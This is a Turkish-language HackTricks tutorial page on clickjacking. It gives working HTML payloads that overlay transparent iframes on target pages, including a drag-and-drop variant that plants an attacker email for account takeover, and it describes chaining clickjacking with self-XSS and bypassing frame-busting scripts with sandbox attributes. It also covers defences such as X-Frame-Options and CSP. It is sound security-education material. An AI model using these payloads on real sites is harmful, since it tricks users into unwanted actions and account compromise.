mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
225 lines
12 KiB
Markdown
225 lines
12 KiB
Markdown
# Clickjacking
|
||
|
||
<details>
|
||
|
||
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
|
||
|
||
HackTricks'ı desteklemenin diğer yolları:
|
||
|
||
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
|
||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||
* **Katılın** 💬 [**Discord grubumuza**](https://discord.gg/hRep4RUj7f) veya [**telegram grubumuza**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||
|
||
</details>
|
||
|
||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
\
|
||
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=clickjacking) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
|
||
Bugün Erişim Alın:
|
||
|
||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
|
||
|
||
## Clickjacking Nedir
|
||
|
||
Clickjacking saldırısında, bir **kullanıcı** bir web sayfasındaki **görünmez** veya farklı bir öğe olarak **kamuflaj yapmış** bir **öğeyi tıklamaya kandırılır**. Bu manipülasyon, kullanıcı için istenmeyen sonuçlara yol açabilir, örneğin kötü amaçlı yazılım indirme, kötü amaçlı web sayfalarına yönlendirme, kimlik bilgilerinin veya hassas bilgilerin sağlanması, para transferleri veya ürünlerin online satın alınması.
|
||
|
||
### Formları Önceden Doldurma Hilesi
|
||
|
||
Bazen bir sayfayı yüklerken GET parametrelerini kullanarak bir formun alanlarının değerini **doldurmak mümkün olabilir**. Bir saldırgan, bir formu keyfi verilerle doldurmak ve kullanıcının düğmeye basmasını sağlamak için clickjacking yükünü gönderebilir.
|
||
|
||
### Drag\&Drop ile Formu Doldurma
|
||
|
||
Kullanıcının bir formu **doldurmasını** istiyorsanız ancak doğrudan belirli bilgileri yazmasını istemiyorsanız (örneğin, bildiğiniz e-posta veya belirli bir şifre gibi), sadece sizin kontrol ettiğiniz verileri yazacak bir şeyi **sürükleyip bırakmasını** isteyebilirsiniz, [**bu örnekte olduğu gibi**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
|
||
|
||
### Temel Yük
|
||
```markup
|
||
<style>
|
||
iframe {
|
||
position:relative;
|
||
width: 500px;
|
||
height: 700px;
|
||
opacity: 0.1;
|
||
z-index: 2;
|
||
}
|
||
div {
|
||
position:absolute;
|
||
top:470px;
|
||
left:60px;
|
||
z-index: 1;
|
||
}
|
||
</style>
|
||
<div>Click me</div>
|
||
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
|
||
```
|
||
### Çok Adımlı Yükleme
|
||
```markup
|
||
<style>
|
||
iframe {
|
||
position:relative;
|
||
width: 500px;
|
||
height: 500px;
|
||
opacity: 0.1;
|
||
z-index: 2;
|
||
}
|
||
.firstClick, .secondClick {
|
||
position:absolute;
|
||
top:330px;
|
||
left:60px;
|
||
z-index: 1;
|
||
}
|
||
.secondClick {
|
||
left:210px;
|
||
}
|
||
</style>
|
||
<div class="firstClick">Click me first</div>
|
||
<div class="secondClick">Click me next</div>
|
||
<iframe src="https://vulnerable.net/account"></iframe>
|
||
```
|
||
### Sürükle ve Bırak + Tıkla yükü
|
||
```markup
|
||
<html>
|
||
<head>
|
||
<style>
|
||
#payload{
|
||
position: absolute;
|
||
top: 20px;
|
||
}
|
||
iframe{
|
||
width: 1000px;
|
||
height: 675px;
|
||
border: none;
|
||
}
|
||
.xss{
|
||
position: fixed;
|
||
background: #F00;
|
||
}
|
||
</style>
|
||
</head>
|
||
<body>
|
||
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
|
||
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
|
||
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
|
||
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
|
||
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
|
||
</body>
|
||
</html>
|
||
```
|
||
### XSS + Clickjacking
|
||
|
||
Eğer bir **XSS saldırısı tespit ettiniz ve bu saldırının tetiklenmesi için bir kullanıcının tıklaması gerekiyorsa** ve sayfa **clickjacking'e karşı savunmasız** ise, bunu kullanarak kullanıcıyı düğmeye/linke tıklamaya kandırabilirsiniz.\
|
||
Örnek:\
|
||
_Bir hesabın bazı özel detaylarında bir **self XSS** buldunuz (detaylar **yalnızca sizin tarafınızdan ayarlanabilir ve okunabilir**). Bu detayları ayarlamak için **form** içeren sayfa **Clickjacking**'e karşı savunmasız ve GET parametreleri ile **formu önceden doldurabilirsiniz**._\
|
||
\_\_Bir saldırgan, o sayfaya **Clickjacking** saldırısı hazırlayabilir, **formu XSS yüküyle önceden doldurarak** ve **kullanıcıyı formu göndermeye kandırarak**. Böylece, **form gönderildiğinde** ve değerler değiştirildiğinde, **kullanıcı XSS'i çalıştıracaktır**.
|
||
|
||
## Clickjacking'i Azaltma Stratejileri
|
||
|
||
### İstemci Tarafı Savunmaları
|
||
|
||
İstemci tarafında çalıştırılan betikler, Clickjacking'i önlemek için aksiyonlar gerçekleştirebilir:
|
||
|
||
* Uygulama penceresinin ana veya üst pencere olmasını sağlamak.
|
||
* Tüm çerçeveleri görünür hale getirmek.
|
||
* Görünmez çerçevelere tıklamayı engellemek.
|
||
* Kullanıcıları potansiyel Clickjacking girişimleri konusunda tespit etmek ve uyarı vermek.
|
||
|
||
Ancak, bu çerçeve-kırma betikleri atlatılabilir:
|
||
|
||
* **Tarayıcıların Güvenlik Ayarları:** Bazı tarayıcılar, güvenlik ayarlarına veya JavaScript desteğinin eksikliğine dayanarak bu betikleri engelleyebilir.
|
||
* **HTML5 iframe `sandbox` Özniteliği:** Bir saldırgan, `allow-forms` veya `allow-scripts` değerleri ile `allow-top-navigation` olmadan `sandbox` özniteliğini ayarlayarak çerçeve kırıcı betikleri etkisiz hale getirebilir. Bu, iframe'ın üst pencere olup olmadığını doğrulamasını engeller, örn.
|
||
```html
|
||
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
|
||
```
|
||
### Sunucu Tarafı Savunmaları
|
||
|
||
#### X-Frame-Options
|
||
|
||
**`X-Frame-Options` HTTP yanıt başlığı**, bir sayfanın `<frame>` veya `<iframe>` içinde oluşturulmasının meşruiyeti hakkında tarayıcılara bilgi vererek Clickjacking'i önlemeye yardımcı olur:
|
||
|
||
- `X-Frame-Options: deny` - Hiçbir etki alanı içeriği çerçeveliyemez.
|
||
- `X-Frame-Options: sameorigin` - Yalnızca mevcut site içeriği çerçeveliyebilir.
|
||
- `X-Frame-Options: allow-from https://trusted.com` - Yalnızca belirtilen 'uri' sayfayı çerçeveliyebilir.
|
||
- Sınırlamaları dikkate alın: Tarayıcı bu direktifi desteklemiyorsa çalışmayabilir. Bazı tarayıcılar CSP frame-ancestors direktifini tercih eder.
|
||
|
||
#### İçerik Güvenlik Politikası (CSP) frame-ancestors direktifi
|
||
|
||
**CSP'deki `frame-ancestors` direktifi**, Clickjacking koruması için önerilen yöntemdir:
|
||
|
||
- `frame-ancestors 'none'` - `X-Frame-Options: deny` ile benzer.
|
||
- `frame-ancestors 'self'` - `X-Frame-Options: sameorigin` ile benzer.
|
||
- `frame-ancestors trusted.com` - `X-Frame-Options: allow-from` ile benzer.
|
||
|
||
Örneğin, aşağıdaki CSP yalnızca aynı etki alanından çerçevelenmeyi sağlar:
|
||
|
||
`Content-Security-Policy: frame-ancestors 'self';`
|
||
|
||
Daha fazla ayrıntı ve karmaşık örnekler [frame-ancestors CSP belgelerinde](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) ve [Mozilla'nın CSP frame-ancestors belgelerinde](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors) bulunabilir.
|
||
|
||
### İçerik Güvenlik Politikası (CSP) ile `child-src` ve `frame-src`
|
||
|
||
**İçerik Güvenlik Politikası (CSP)**, tarayıcının hangi kaynakların içeriği yüklemesine izin vermesi gerektiğini belirterek Clickjacking ve diğer kod enjeksiyon saldırılarını önlemede yardımcı olan bir güvenlik önlemidir.
|
||
|
||
#### `frame-src` Direktifi
|
||
|
||
- Çerçeveler için geçerli kaynakları tanımlar.
|
||
- `default-src` direktifinden daha spesifiktir.
|
||
```
|
||
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
|
||
```
|
||
Bu politika, aynı kökten gelen çerçevelere (self) ve https://trusted-website.com'a izin verir.
|
||
|
||
#### `child-src` Yönergesi
|
||
|
||
* Web işçileri ve çerçeveler için geçerli kaynakları belirlemek için CSP seviye 2'de tanıtıldı.
|
||
* frame-src ve worker-src için bir yedek olarak işlev görür.
|
||
```
|
||
Content-Security-Policy: child-src 'self' https://trusted-website.com;
|
||
```
|
||
Bu politika, aynı kökten (self) ve https://trusted-website.com'dan çerçevelere ve işçilere izin verir.
|
||
|
||
**Kullanım Notları:**
|
||
|
||
* Kullanım Dışı: child-src, frame-src ve worker-src lehine kademeli olarak kaldırılmaktadır.
|
||
* Yedek Davranış: frame-src mevcut değilse, çerçeveler için yedek olarak child-src kullanılır. Her ikisi de mevcut değilse, default-src kullanılır.
|
||
* Katı Kaynak Tanımı: Sömürüyü önlemek için direktiflere yalnızca güvenilir kaynakları ekleyin.
|
||
|
||
#### JavaScript Çerçeve-Kırma Komut Dosyaları
|
||
|
||
Tamamen güvenilir olmasa da, JavaScript tabanlı çerçeve-kırma komut dosyaları, bir web sayfasının çerçevelenmesini engellemek için kullanılabilir. Örnek:
|
||
```javascript
|
||
if (top !== self) {
|
||
top.location = self.location;
|
||
}
|
||
```
|
||
#### Anti-CSRF Tokenlarını Kullanma
|
||
|
||
* **Token Doğrulama:** Web uygulamalarında anti-CSRF tokenlarını kullanarak, durum değiştiren isteklerin kullanıcı tarafından kasıtlı olarak yapıldığından emin olun ve Clickjacking sayfası aracılığıyla yapılmadığından emin olun.
|
||
|
||
## Referanslar
|
||
|
||
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
|
||
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)
|
||
|
||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
\
|
||
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=clickjacking) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatikleştirilmiş iş akışları** oluşturun ve yönetin.\
|
||
Bugün Erişim Edinin:
|
||
|
||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
|
||
|
||
<details>
|
||
|
||
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
HackTricks'i desteklemenin diğer yolları:
|
||
|
||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||
|
||
</details>
|